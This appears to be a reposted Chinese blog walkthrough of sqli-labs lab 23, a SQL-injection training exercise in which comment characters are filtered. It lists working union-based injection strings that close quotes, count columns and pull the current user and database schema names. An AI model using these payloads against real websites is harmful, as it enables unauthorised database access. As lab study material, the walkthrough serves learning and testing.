zoukankan      html  css  js  c++  java
  • sqli-labs(十)(过滤注释符)

    第二十三关:

    这关还是一个GET型、字符串、单引符号、的有报错的sql注入,输入?id=1'  ,页面会报错

    我们继续按照之前的套路来,先输入?id=1' or '1'='1

    页面正常显示,说明这个地方又很有可能存在sql注入。继续输入?id=1' or  '1'='1' %23

    发现页面居然报错,从报错信息中发现我们的注释符居然没了,说明后台对注释符中做了过滤。

    像这种情况,没办法用注释隔断后面的sql语句,就只能用闭合的方法了。但是这里有一点就是,实际测试中,不知道表的行数,而这里又不能使用order by。 因为order by一般在sql语句的尾部,在order by后面再使用'闭合后面的单引号,sql会将order by 忽略掉。

    例如我们输入?id=1' order by 300 and '1'='1 

    程序永远不回出错,也就无法使用oder by进行判断了。这里就只能一点点的尝试了

    依次输入

    ?id=1' union select  '1

    ?id=1' union select  1 , '1

    ?id=1' union select  1 , 1 ,'1

    发现前来个都会报错,而最后一个不报错,说明当前查询表的列数是三列。

     

     知道是三列后,后面继续输入

    ?id=-1'  union  select  1,2,'3

     

    可以看到,第2、3两列的数据会显示出来,由于第三列用于闭合后面的单引符号,我们只能将第二列用于查询操作。

    输入?id=-1'  union  select  1, user(),'3  查询处当前用户名

     

    输入?id=-1'  union  select  1, (select group_concat(schema_name) from information_schema.schemata),'3

  • 相关阅读:
    php_l3arning_notes_3
    php_l3arning_notes_2
    php_l3arning_notes_1
    从 HTTP 到 HTTPS 再到 HSTS
    WSGI&ASGI
    WSGI 介绍
    什么是multipart/form-data请求
    SSH 端口转发
    Redis与RabbitMQ作为消息队列的比较
    数据库索引,到底是什么做的?
  • 原文地址:https://www.cnblogs.com/jinqi520/p/9557363.html
Copyright © 2011-2022 走看看